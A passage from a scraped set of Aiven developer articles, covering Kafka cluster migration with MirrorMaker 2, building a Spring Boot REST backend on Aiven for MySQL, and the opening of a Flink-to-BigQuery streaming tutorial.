Kafka cluster to migrate to, and the MirrorMaker 2 instance we'll use to sync the two clusters. \n\nWe'll create these services in Aiven for the purposes of this tutorial.\n\nIn the [Aiven Console](https://console.aiven.io/), create:\n\n* An [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service named `target-kafka` for data streaming. This is the target Kafka cluster for the migration.\n* An [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service named `mm2`, MirrorMaker 2 will be used to stream the data from the source Apache Kafka cluster to `target-kafka`. \n\n### Create an Aiven for Apache Kafka® service\n\nThe [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service is the target cluster for the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven web console](https://console.aiven.io/).\n2. On the *Services* page, click **Create a new service**.\n\n This opens a new page with the available service options.\n\n ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/9ee46d57b3e145d3b66ae7505c6b482c3269bd67-3276x1624.png)\n\n3. Select **Apache Kafka®**.\n\n4. Select the cloud provider and region that you want to run your service on.\n\n5. Select `business-4` as service plan.\n\n5. Enter `target-kafka` as name for your service.\n\n6. Click **Create Service** under the summary on the right side of the console.\n\n### Customize the Aiven for Apache Kafka service\n\nNow that you've created your target cluster, you need to customize it's functionality. In the **Overview** tab of your freshly created service, you'll see a bunch of toggles and properties. Change these three:\n\n1. **Enable REST APIs**: via **Kafka REST API (Karapace)** \u003e **Enable**.\n\n ::alert[The **Kafka REST API** allows you to manage and query Apache Kafka via REST APIs. You'll use it to inspect the data in Apache Kafka from the Aiven Console.]{title=\"Note\"}\n\n2. **Auto creation of topics**: via **Advanced configuration** \u003e **Add configuration option** \u003e ``kafka.auto_create_topics_enable``, switch the setting on and then click **Save advanced configuration**.\n\n ::alert[The ``kafka.auto_create_topics_enable`` setting allows you to create new Apache Kafka® topics on the fly while pushing a first record. It avoids needing to create a topic in advance. To read more about the setting, check the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically).]{title=\"Note\"}\n\n5. **Enable SASL** : Enable [SASL](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth) via the dedicated configuration option.\n - After doing this, in the Overview, toggle the authentication type to **SASL** as well \n\n### Create an Aiven for Apache Kafka MirrorMaker 2 service\n\nThe [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service syncs the data between the source and target clusters in the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven Console](https://console.aiven.io/).\n2. Click on the Aiven for Apache Kafka service you created previously, named `target-kafka`.\n3. On the *Overview* tab, scroll down until you locate the *Service integration* section and click on **Manage integrations**.\n\n ![Aiven Console, *Service integration* section and **Manage integrations** button](https://cdn.sanity.io/images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png)\n\n4. Select **Apache Kafka MirrorMaker** 2.\n\n ![Aiven Console, list of available integrations](https://cdn.sanity.io/images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png)\n\n5. In the new window popup, select the **New Service** option and click on **Continue**.\n\n6. Give the new service a name, `mm2`, then select the cloud provider, region, and service plan. Then click on **Continue**.\n\n7. Define the **Cluster alias**, this is the logical name you'll use to define the target `target-kafka` cluster. Use ``kafka-target``.\n\nOnce you follow all the steps, you should see an active integration between `target-kafka` and `mm2` named ``kafka-target``:\n\n![Aiven Console, active MirrorMaker 2 integration](https://cdn.sanity.io/images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png)\n\n## Create a data replication using MirrorMaker 2\n\nThe next step in the migration journey is to create a data replication from the source cluster to the Aiven for Apache Kafka service named `target-kafka`. To create a replication you need to:\n\n* Create an alias for the source Apache Kafka cluster (the target alias `kafka-target`).\n* Define the replication flow.\n\n### Create an alias for the source Apache Kafka cluster\n\nTo create a MirrorMaker 2 replication flow, first create an alias to point to the source Kafka cluster. You defined the target alias ``kafka-target`` during the creation of the MirrorMaker 2 service, so use that.\n\nTo create the alias with the [Aiven Console](https://console.aiven.io/) you can follow the steps below:\n\n1. Navigate to the MirrorMaker 2 `mm2` service page.\n2. Click on the **Integration** tab.\n3. Scroll until you reach the **External integrations** section.\n4. Select **Cluster for replication** within the available external integrations.\n5. Select the endpoint name you defined in a previous step (``source-cluster``) and click **Continue**.\n\n ![Aiven Console, MirrorMaker 2 alias definition for the external Apache Kafka endpoint integration](https://cdn.sanity.io/images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png)\n\n6. Give the source cluster an alias name, for example `kafka-source`, and click **Enable**.\n\nOnce the steps are done, you should be able to see the two aliases, `kafka-source` and `kafka-target` defined as integrations in the `demo-mm2` service:\n\n![Aiven Console, MirrorMaker 2 source and target integration enabled](https://cdn.sanity.io/images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png)\n\n::alert[If you experience connection problems to the source or target clusters, the MirrorMaker 2 service overview page shows the following error: ![Aiven Console, MirrorMaker 2 service overview, error message stating that the connection to a target Kafka service is not working](https://cdn.sanity.io/images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png). You can also review the service logs by clicking on the **Log** tab.]{title=\"Warning\" type=\"warning\"}\n\n### Start the MirrorMaker 2 replication flow\n\n\n::alert[If your topic requires certain configurations such as compaction or specific partitioning configurations, we recommend creating your topic in Aiven for Apache Kafka before starting the replication flow. MirrorMaker 2 will not recreate topics with the same configuration options as the source Kafka cluster. ]{title=\"Warning\" type=\"warning\"}\n\nIn the previous steps you defined MirrorMaker 2 source and target aliases. Now it's time to define the replication flow.\n\nYou first need to identify the set of topics you want to migrate to the new cluster, and create a [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) that includes them. \n\nFor example, if you want to migrate all the topics starting with ``customer.`` and the ones containing ``.logistic.`` you can add the two regular expressions: ``customer\\..*`` and ``.*\\.logistic\\..*``.\n\nTo migrate all topics, Use `.*`.\n\n::alert[You can list both topics to be included and excluded in the allow list and stop list.]{title=\"Tip\"}\n\n\nNext, create a MirrorMaker 2 replication flow in the [Aiven Console](https://console.aiven.io/):\n\n1. Navigate to the ``demo-mm2`` service page.\n2. Click on the **Replication Flows** tab.\n3. Click on **Create replication flow**.\n4. Fill in the replication flow details:\n\n * **Source cluster**: ``kafka-source`` - the alias defined for the source Kafka cluster.\n * **Target cluster**: ``kafka-target`` - the alias defined for the target Aiven for Apache Kafka cluster.\n * **Topics**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to include. \n \n For instance\n \n * ``customer\\..*`` to include all topics starting with ``customer.``.\n * ``*\\..europe\\..*`` to include all topics including with ``.europe.``.\n * **Topics blacklist**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to exclude. E.g. ``*\\..test`` to exclude all topics ending with ``test.``.\n * **Sync group offset**: to define whether to sync the topic containing the consumer group offset.\n * **Sync interval in seconds**: to define the frequency of the sync.\n * **Offset syncs topic location**: to provide offset translation, MirrorMaker 2 uses the ``mm2-offset-syncs`` topic. To ensure we don't lose any data, set this to **target**.\n * **Replication policy class**: controls the prefix when replicating topics. ``DefaultReplicationPolicy`` sets the topic name in the target Kafka service as ``source_cluster_alias.topic_name`` (prefixing the topic name with the source cluster alias), while ``IdentityReplicationPolicy`` sets the target topic name equal to the source topic name.\n * **Emit heartbeats enabled**: allow MirrorMaker 2 to emit heartbeats to keep the connection open even in cases where no messages are replicated.\n * **Enable**: to enable the data sync job.\n\n The following represents an example of a replication flow setting:\n\n ![Aiven Console, replication flow details](https://cdn.sanity.io/images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png)\n\n5. Click on **Create**\n\nAfter following the steps above, you should see the enabled replication flow:\n\n![Aiven Console, MirrorMaker 2 replication flow enabled](https://cdn.sanity.io/images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png)\n\nBrowsing the target `target-kafka` service, you should see the topics being replicated. The following image shows replication (using the ``DefaultReplicationPolicy``) of the ``kafka-source.customer.clicks`` and ``kafka-source.customer.purchases`` topics together with MirrorMakers 2 internal topics.\n\n![Aiven Console, target Aiven for Apache Kafka with the replicated clicks and purchases topics](https://cdn.sanity.io/images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png)\n\n::alert[Once you start the replication flow, MirrorMaker 2 continuously checks for topics matching the regular expression defined. If you create new topics matching the regex in the source cluster, they'll appear also in the target cluster.]{title=\"Note\"}\n\n### Monitor the MirrorMaker 2 replication flow lag\n\nAfter starting the replication flow, MirrorMaker 2 starts moving data between the source and target Kafka clusters in asynchronous mode. To measure how the replication is performing you might want to check the replication lag: the delay in synchronization between the source and target Apache Kafka cluster. Once the lag is `0`, the two Apache Kafka clusters are in sync.\n\nFollow the documentation to review [how to create services integrations](https://aiven.io/docs/platform/howto/create-service-integration). \n\nThe metric you want to track is called ``kafka_mirrormaker_summary.replication_lag``. The image below showcases a Grafana® dashboard showing the mean MirrorMaker 2 replication lag trending to ``0``.\n\n\n![Grafana dashboard showing the `kafka_mirrormaker_summary.replication_lag` metric](https://cdn.sanity.io/images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png)\n\n## Migrate topic schemas\n\nApache Kafka topic schemas define the structure of the data in certain topics. They can be migrated two different ways:\n\n1. By replicating the schemas topic stored in Apache Kafka (usually located in the ``_schemas`` topic).\n2. By extracting the schema information from the source and registering in the target environment using the appropriate APIs.\n\nThe second option offers much more control over which schemas are migrated. To register the schemas in an Aiven for Apache Kafka service you can:\n\n* Navigate in the [Aiven Console](https://console.aiven.io/), service page, **Schemas** tab.\n* Use the [Karapace rest APIs](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceSchemaRegistrySubjectVersionPost).\n* Use [Aiven command line interface](https://aiven.io/docs/tools/cli).\n\n\n## Migrate access control list\n\nApache Kafka Access Control Lists (ACLs) define how various users are allowed to interact with the topics and schemas. To migrate ACLs, we recommend extracting the ACL definition from the source Apache Kafka cluster, then recreating the ACL in the target cluster. \n\nIf the target of the migration is Aiven for Apache Kafka, you can define the ACLs with:\n\n* The [Aiven Console](https://console.aiven.io/), service page, **Access Control Lists (ACL)** tab.\n* The dedicated [Aiven REST API](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceKafkaAclAdd).\n* The dedicated [Aiven CLI command](https://aiven.io/docs/tools/cli/service/acl).\n\n\n## Change client settings\n\nAfter the replication flow is running and the schemas and ACLs are in place, you can start pointing producers and consumers to the target Apache Kafka cluster. \n\n::alert[To avoid losing Apache Kafka messages during the asynchronous MirrorMaker 2 migration, we suggest stopping the producers, checking that both the consumer lag in the source system and the MirrorMaker 2 replication lag is ``0``, and then pointing producers and consumers to the target Apache Kafka cluster. The [migration process](#complete-migration-process) provides a detailed series of steps to follow.]{title=\"Warning\" type=\"warning\"}\n\nIf the target of the migration is Aiven for Apache Kafka, follow the documentation to [download the required certificates and connect as a producer or consumer](https://aiven.io/docs/products/kafka/howto/list-code-samples).\n\n\n## Complete migration process\n\nThe following diagram showcases all the steps included in an Apache Kafka migration process.\n\n\u003c!-- \nthis mermaid code doesn't render on page. Using https://mermaid.live to create image instead. https://github.com/aiven/devportal/blob/8ac99e7009720a20047f0442d344bc7f8ed57779/docs/tutorials/kafka-migration.rst\n--\u003e\n\n![Diagram showcases all the steps included in an Apache Kafka migration process](https://cdn.sanity.io/images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg?w=450)\n\n## Check the migration results\n\nWhen the migration process terminates, check the target Apache cluster to ensure that:\n\n* All the ACLs are in place: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Access Control List (ACL)** Tab. \n* All the schemas are present in the target schema registry (Karapace for Aiven for Apache Kafka): in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Schemas** Tab. \n* All the topics included in the replication flows defined are present, and the data is flowing: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Topics** Tab. \n* All the producers and consumers are pointing to the target cluster and correctly pushing/consuming data\n\n## Next steps\n\nThis guide doesn't cover how to confingure your client data producers and consumers to Aiven for Apache Kafka. The migration is not complete without redirecting data to the new Apache Kafka cluster. \n\n- Learn how to [connect to an Aiven for Apache Kafka cluster](https://aiven.io/docs/products/kafka/howto/list-code-samples) using a number of different languages\n- Test your Aiven for Apache Kafka cluster using the [Aiven fake data producer](https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka)\n\n\nIn this guide we used Aiven's ability to directly spin up and connect to a MirrorMaker 2 instance to create a replication flow and migrate our data. Aiven can also connect directly to a growing number of other services you might find useful, like databases for storing data coming through Kafka, Grafana for metrics, Datadog for observability, and more. \n\n- Learn more about the [Aiven data platform](https://aiven.io/platform) and other services you can spin up with your Aiven account\n- Or about [external services you can integrate with Aiven](https://aiven.io/integrations-and-connectors)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-06T16:41:43.597Z"},"publishedAt":"2023-04-03T13:58:10.371Z","seo":{"_type":"metaData","metaDescription":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1b6fd4fd12a18e07300a063a9024bb5a913d7d9d-1567x844-png","_type":"reference"}},"metaTitle":"Migrate Apache Kafka with MirrorMaker 2"},"slug":{"_type":"slug","current":"/developer/cloudkarafka-aiven-migration"},"subtitle":"Learn how to migrate a CloudKarafka Apache Kafka® cluster to Aiven for Apache Kafka® using Apache Kafka® MirrorMaker 2.\n","title":"Migrate a CloudKarafka Apache Kafka® cluster to Aiven with MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2023-06-07T08:49:04Z","_id":"52ddc983-a14f-46fb-ac5c-c6096dbb0547","_rev":"lhvtNBOlLYH5KiQFQ8YoQH","_type":"devArticle","_updatedAt":"2024-01-29T15:45:40Z","body":"It's your first week as an enterprise Java developer and your project manager asks you to build a demo application for a client project. You're excited to take on the challenge, but you're also a bit nervous - you have never built a web application from scratch before. Sit back and relax as we tackle this challenge as a team.\n\nJust like any other problem, a complex problem can be solved if:\n\n- We understand the requirements clearly\n- We break down bigger problem into smaller ones\n- We understand the time, performance, and reliability requirements\n\nOnce you ask a few questions to your project manager, you realize that the team expects you to build the backend and handle the database part as they have a frontend developer building the UI for the application. Let's choose [Java](https://www.oracle.com/java/) as the language and [Spring Boot®](https://spring.io/projects/spring-boot) as the framework. Java's combination of portability, scalability, security, community support, and longevity make it a popular choice for enterprise development. Spring Boot is a popular Java framework that makes it easy to create web applications quickly and efficiently. It provides a wide range of features, including easy configuration, integrated security, and support for multiple data sources, making it a great choice for building modern web applications. \n\nBut you're worried about deploying and managing a relational database in production for your clients. One of your colleagues used Aiven before and they suggested a managed MySQL service for this project. [Aiven for MySQL](https://aiven.io/mysql) will provide automated maintenance, backups, and upgrades, freeing up time and resources for your important project. You also won't have to worry about scalability and high availability and Aiven platform will ensure that the database can handle fluctuations in traffic and data volume without downtime or performance issues.\n\nIn this tutorial, we'll work as a team to build a demo backend application with Spring Boot and Aiven for MySQL.\n\n## Prerequisites\n\nTo follow this tutorial, you'll need:\n\n1. A MySQL database: You can use your existing MySQL service. Otherwise, [sign up for an Aiven account](https://aiven.io/signup) and [follow the instructions](https://aiven.io/docs/products/mysql/get-started) to create an Aiven for MySQL service on Aiven. (🤫 there's a free tier)\n\n2. Java Development Kit (JDK): You'll need to have the JDK installed on your computer to compile and run the Spring Boot application. You can download the latest version of the JDK from [the Oracle website](https://www.oracle.com/java/technologies/downloads/). At the time of writing this tutorial, there are both Java 17 and Java 20 available for download. You can choose either.\n\n3. A development environment: You can use any IDE of your choice to create the Spring Boot project, such as [IntelliJ IDEA](https://www.jetbrains.com/idea/), [Eclipse](https://eclipseide.org/), [Visual Studio Code](https://code.visualstudio.com/), or [NetBeans](https://netbeans.apache.org/).\n\n4. MySQL client: You'll need a MySQL client to connect to your MySQL service and manage your database. You can use any MySQL client of your choice, such as MySQL Workbench, HeidiSQL, or DBeaver. I'm using [mysqlsh](https://dev.mysql.com/doc/mysql-shell/8.0/en/mysqlsh.html) - an advanced command-line client and code editor for MySQL.\n\n## Create a MySQL service\n\nIf you already have a running MySQL service, feel free to skip this section. In this section, I'll walk you through creating an Aiven for MySQL service. Assuming you've already signed up, navigate to the [Aiven console](https://console.aiven.io/) and click **Create service**.\n\nSelect the free plan for Aiven for MySQL (yes, it's forever-free plan!).\n\n![Choosing the plan](https://cdn.sanity.io/images/sczeoy4w/production/b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0-2562x1236.png)\n\nChoose the region close to you and give your MySQL service a name. Click **Create service**.\n\n![Create the service](https://cdn.sanity.io/images/sczeoy4w/production/19cc21991469173ec1dd07ce94b76e4f2d66e0ec-2564x1408.png)\n\nA flashing blue indicator under *Nodes* indicates that your service is being provisioned. A solid green indicates that your MySQL service is running. At this point, go to the service and find connection information from the **Overview** tab.\n\n## Let's create a Spring Boot application\n\nThe easiest way to create a Spring Boot application from a template is to use [Spring initializr](https://start.spring.io/). Build the artifact in the following way and click **Generate**. A *demo.zip* will be downloaded which you can extract and open in your favorite IDE.\n\n![Spring initializr](https://cdn.sanity.io/images/sczeoy4w/production/66b95274aa812b8e3cbf6cd7139dc4af7a775411-3194x1687.png)\n\nUse the following as your configuration. If you're using Java 20 instead of Java 17, you might see different options for the Spring Boot version. This tutorial should work either way.\n\n| Project | Maven |\n|--------------|-------------------------------------------|\n| Language | Java |\n| Spring Boot | 3.1.0 |\n| Group | io.aiven.spring.mysql |\n| Artifact | demo |\n| Name | demo |\n| Description | Demo project for Spring Boot and MySQL |\n| Package name | io.aiven.spring.mysql.demo |\n| Packaging | Jar |\n| Java | 17 |\n| Dependency 1 | Spring Web |\n| Dependency 2 | Spring Data JPA |\n| Dependency 3 | MySQL Driver |\n\n### Add database connection information to application.properties\n\nSpring Boot comes with `H2` as the default database. Since you're using a cloud database, you must define the connection attributes in the `application.properties` file. Open the `demo/src/main/resources/application.properties` file and add the following:\n\n```\nspring.jpa.hibernate.ddl-auto=update\nspring.datasource.url=jdbc:mysql://HOST:PORT/DATABASE\nspring.datasource.username=USERNAME\nspring.datasource.password=PASSWORD\nspring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver\n```\n\nYou can find the connection information from the **Overview** tab of your Aiven for MySQL service:\n\n![Connection information](https://cdn.sanity.io/images/sczeoy4w/production/cba8ed8b869107dd7cad89706f8e32b88c234192-1700x1146.png)\n\n\u003e **Note:**\n\u003e It is a good security practice to set `spring.jpa.hibernate.ddl-auto` to `none` after your database is in a production state. This setting is also the default for MySQL.\n\n### Create the @Entity model\n\nCreate the following entity model under `demo/src/main/java/io/aiven/spring/mysql/demo/User.java` which hibernate then translates to a table in your MySQL database:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport jakarta.persistence.Entity;\nimport jakarta.persistence.GeneratedValue;\nimport jakarta.persistence.GenerationType;\nimport jakarta.persistence.Id;\n\n// This tells Hibernate to make a table out of this class\n@Entity\npublic class User {\n @Id\n @GeneratedValue(strategy=GenerationType.IDENTITY)\n private Integer id;\n\n private String name;\n\n private String email;\n\n public Integer getId() {\n return id;\n }\n\n public void setId(Integer id) {\n this.id = id;\n }\n\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n }\n\n public String getEmail() {\n return email;\n }\n\n public void setEmail(String email) {\n this.email = email;\n }\n}\n\n```\n\n\u003e **Note:** Aiven for MySQL does not support [creating new tables without primary keys](https://aiven.io/docs/products/mysql/howto/create-tables-without-primary-keys) for security reasons, so the code above uses `GenerationType.IDENTITY`. If you wanted to create a table without primary keys locally or for anothe service, you can use `GenerationType.AUTO`. \n\n### Create the Repository\n\nLet's create the repository interface to hold user records under `demo/src/main/java/io/aiven/spring/mysql/demo/UserRepository.java`:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.data.repository.CrudRepository;\n\nimport io.aiven.spring.mysql.demo.User;\n\n// This will be AUTO IMPLEMENTED by Spring into a Bean called userRepository\n// CRUD refers Create, Read, Update, Delete\n\npublic interface UserRepository extends CrudRepository\u003cUser, Integer\u003e {\n\n}\n```\n\n### Create the Controller\n\nTo handle HTTP requests, let's create the controller class under `demo/src/main/java/io/aiven/spring/mysql/demo/MainController.java`:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n// This means that this class is a RestController\n@RestController\n// This means URL's start with /demo (after Application path)\n@RequestMapping(path = \"/demo\")\npublic class MainController {\n // This means to get the bean called userRepository\n // which is auto-generated by Spring, we will use it to handle the data\n @Autowired\n private UserRepository userRepository;\n\n // Map ONLY POST Requests\n @PostMapping(path = \"/add\")\n public @ResponseBody User addNewUser(@RequestParam String name\n , @RequestParam String email) {\n // @ResponseBody means the returned User is the response, not a view name\n // @RequestParam means it is a parameter from the GET or POST request\n\n User springUser = new User();\n springUser.setName(name);\n springUser.setEmail(email);\n userRepository.save(springUser);\n return springUser;\n }\n\n @GetMapping(path = \"/all\")\n public @ResponseBody Iterable\u003cUser\u003e getAllUsers() {\n // This returns a JSON or XML with the users\n return userRepository.findAll();\n }\n\n}\n```\n\nThis controller creates two REST API endpoints - `/all` to list all users and `/add` to add a new user. \n\n### Create an application class\n\nA sample application class is already created by Spring initializr under `demo/src/main/java/io/aiven/spring/mysql/demo/DemoApplication.java`. You shouldn't need to add anything, but here's the autogenerated code from initializr:\n\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(DemoApplication.class, args);\n\t}\n\n}\n```\n\n`@SpringBootApplication` is an annotation in Spring Boot that configures and launches a Spring Boot application with minimal code. It combines three annotations (`@Configuration`, `@EnableAutoConfiguration`, and `@ComponentScan`) into one, making it easier to bootstrap a Spring Boot application. It enables Spring Boot's auto-configuration mechanism and component scanning, and it also serves as the main entry point of the application.\n\nThe `main()` method uses Spring Boot’s `SpringApplication.run()` method to launch an application. This web application is built entirely in Java, and you won't need to worry about configuring any of the underlying infrastructure or plumbing.\n\n## Run and test the application\n\nYou can run the application from the command line with Maven (`./mvnw spring-boot:run`) or from the GUI of your code editor. I'm using IntelliJ IDEA and the step to run the application is **Run** --\u003e **Run 'DemoApplication'**. Once you run the application, a Tomcat server will be started on port 8080 of your machine.\n\nLet's test adding a user. From a terminal window, execute:\n\n```shell\ncurl http://localhost:8080/demo/add -d name=\"Sponge Bob\" -d email=bob@crabby.com\n```\n\nLet's test if the user was added. Either navigate to `localhost:8080/demo/all` from a browser or execute the following from a terminal:\n\n```shell\ncurl http://localhost:8080/demo/all\n```\n\nIf this is the first time you're running the query, you should see the following output:\n\n```json\n[{\"id\":1,\"name\":\"Sponge Bob\",\"email\":\"bob@crabby.com\"}]\n```\n\n## Wrap up\n\nCongratulations! Now you have a proof-of-concept to show your project manager for a demo Spring Boot application with a MySQL backend. You've learned how to set up a new Aiven service, configure your Spring Boot application to connect to it, and perform basic CRUD operations on the database using Spring Data JPA. With this knowledge, you can now confidently develop and deploy more complex applications that leverage the power and convenience of Aiven for MySQL. I'll call that a good start for your important project! \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-14T08:40:37.895Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"962878a1e6ac","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-06-07T08:39:23.209Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/create-a-spring-boot-application-with-a-mysql-backend"},"subtitle":"Use a MySQL database to store customer information from a Spring Boot REST application with minimal code.","tags":[{"_key":"688780268afc","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"36b0b161fbbb","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Create a Spring Boot application with a MySQL backend "} {"__i18n_lang":"en","_createdAt":"2023-09-06T07:38:36Z","_id":"5a685ddf-3043-4ce1-9f9a-206737d7b7de","_rev":"ZLvKaZvfbZlWBlGcpIpaXT","_type":"devArticle","_updatedAt":"2024-01-29T15:45:43Z","body":"# Data refinement in action: Apache Flink® for data transformation into Google BigQuery\n\nIn today's companies, with data assets flowing across different technologies and formats, it's essential to be able to reshape ongoing streams of information before they reach their target destination. Typical use cases include eliminating sensitive information, cleaning up irrelevant data, converting bulky JSON objects into organized structures, or altering the shape of the data to gain new insights.\n\nThe broader, and maybe more important use case for such streaming transformation is building a comprehensive 360-degree view on the data which brings a new challenge: due to the abundance of data in those events, untangling them to find meaningful information can be a problem.\n\n## Streaming analytics at Crab Mart\n\nToday, we'll explore one such scenario together. Imagine you're a data engineer at Crab Mart — a Brick and Mortar store that has expanded online to sell groceries in the top 10 cities across the US. Your role involves evaluating seasonal promotions and ensuring that products are appropriately priced and timed for sale. To achieve this, you're looking to create a data pipeline that helps you understand the sales patterns by location and time, enabling you to draw meaningful conclusions.\n\nDetails about each individual transfer from all the shops go directly into a distributed event store Apache Kafka®. Once the data is there it is used for various different purposes, including those analytical scenarios you're interested in. \n\nGiven the substantial volume of raw information, you've opted to sink the data into Google BigQuery — a data warehousing solution for running complex analytical queries and addressing Crab Mart's biggest questions.\n\nGoogle BigQuery works best when it gets clean and prepared data, that's why your aim is to minimize joins or transformations within Google BigQuery itself. You want to do all the cleaning before data arrives to the warehouse.\n\nThis is where the strengths of Apache Flink® and [its Flink to BigQuery sink connector](https://github.com/aiven/bigquery-connector-for-apache-flink) come into play. By using Apache Flink you can cleanse and restructure the event data into records that align with BigQuery's preferences for fast queries.\n\nThe complete data flow looks like this:\n![Data flow in the application we'll build raw data, feed it to Apache Kafka, transform it with Apache Flink then feed it into Big Query and perform Analytics on it](https://cdn.sanity.io/images/sczeoy4w/production/6271a1495517fdcaa5282c8dfbea9c576fd067f3-2174x184.png)\n\nOur goal is to convert this detailed JSON object for each of the purchases:\n\n```json\n{\n \"id\": 7100374005816377000,\n \"city\": \"New York City\",\n \"purchase_day\": 1607221440,\n \"total_purchases\": 36,\n \"purchases\": [\n {\n \"id\": 7100374005814829000,\n \"city\": \"New York City\",\n \"item\": \"Grapes (1kg)\",\n \"price\": 5.99,\n \"influencer\": null\n },\n {\n \"id\": 7100374005814829000,\n \"city\": \"New York City\",\n \"item\": \"Conditioner (500ml)\",\n \"price\": 4.99,\n \"influencer\": null\n },\n ....\n ]\n}\n```\nInto distinct product entries stored in a BigQuery table:\n\n![Table structure of the data](https://cdn.sanity.io/images/sczeoy4w/production/d51dc82480d7afb7c0de7752949ab4fba15cd61f-2132x298.png)\n\n## Preparing the services\n\nFor our simulation we'll be using the following building blocks: \n- **Apache Kafka** as a storage for arriving sales events, \n- **Google BigQuery**, where data for analytical queries will ultimately reside,\n- **Apache Flink** - a stream-processing framework that connects Kafka and BigQuery,\n- Data generator to simulate shopping events.\n\nTo demonstrate a smooth and easy integration between the elements above we'll use Aiven - the trusted open source data platform for everyone. If you haven't registered for it yet, [start here](https://console.aiven.io/login) and receive free credits for running the simulation described in this article.\n\nOnce you've registered, head to [Aiven's console](https://console.aiven.io/). This is where we'll create [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for Apache Flink®](https://aiven.io/flink) services.\n\n### Kafka service\nStart by creating a new [Aiven for Apache Kafka service](https://aiven.io/kafka). Select your preferred cloud and geographical location.\n\nFor our purposes, we'll need a topic: **CDC-input**. You can easily create it in your Apache Kafka cluster by following the instructions [in our documentation](https://aiven.io/docs/products/kafka/howto/create-topic).\n\n### Flink service\nOur next step is to set up the Apache Flink service. This can be done using the Aiven console. The smallest plan available in the chosen region will be enough for the purpose of the tutorial.\n\n### Preparing BigQuery\n\nBefore moving on, make sure you have a [Google Cloud account](https://cloud.google.com).\n\nIn Google Cloud, we need to do a few things to get ready for data:\n\nFirst, create [a new service account](https://cloud.google.com/iam/docs/service-accounts-create). Give it a name and description, skipping the optional steps:\n\n![Creating a new service account with Google Cloud](https://cdn.sanity.io/images/sczeoy4w/production/efb72525e7820ab954b41ae3aef445815c931e0e-1259x1295.png)\n\nOnce the service account is created, generate the keys to get access to Google Cloud services. We'll need these keys to integrate Apache Flink with BigQuery. There are different types of the keys, but you need the JSON ones:\n\n![Creating JSON key for the service account](https://cdn.sanity.io/images/sczeoy4w/production/eb6cc819fd78d9e29bf41db797f1a1c64b3f586b-2234x1257.png)\n\nDownload the key and keep it close and secure. We'll come back to using this key in the following step, but while we're at the Google Cloud console, let's do a couple more actions!\n\nTo store the data in BigQuery, we'll need a dataset and a table.\nFor the dataset, choose a name and your preferred location type - I kept it Multi-region:\n\n![Creating a new dataset in Google Cloud BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/2a2e1ac88bf15c9fb0813843c6faa096e62d7794-1148x1310.png)\n\nWithin the created dataset add a new table and define its structure. Your BigQuery table should have the following properties:\n\n- `city` of type `STRING`\n- `purchase_day` of type `TIMESTAMP`\n- `id` of type `BIGNUMERIC`\n- `influencer` of type `STRING`\n- `item` of type `STRING`\n- `price` of type 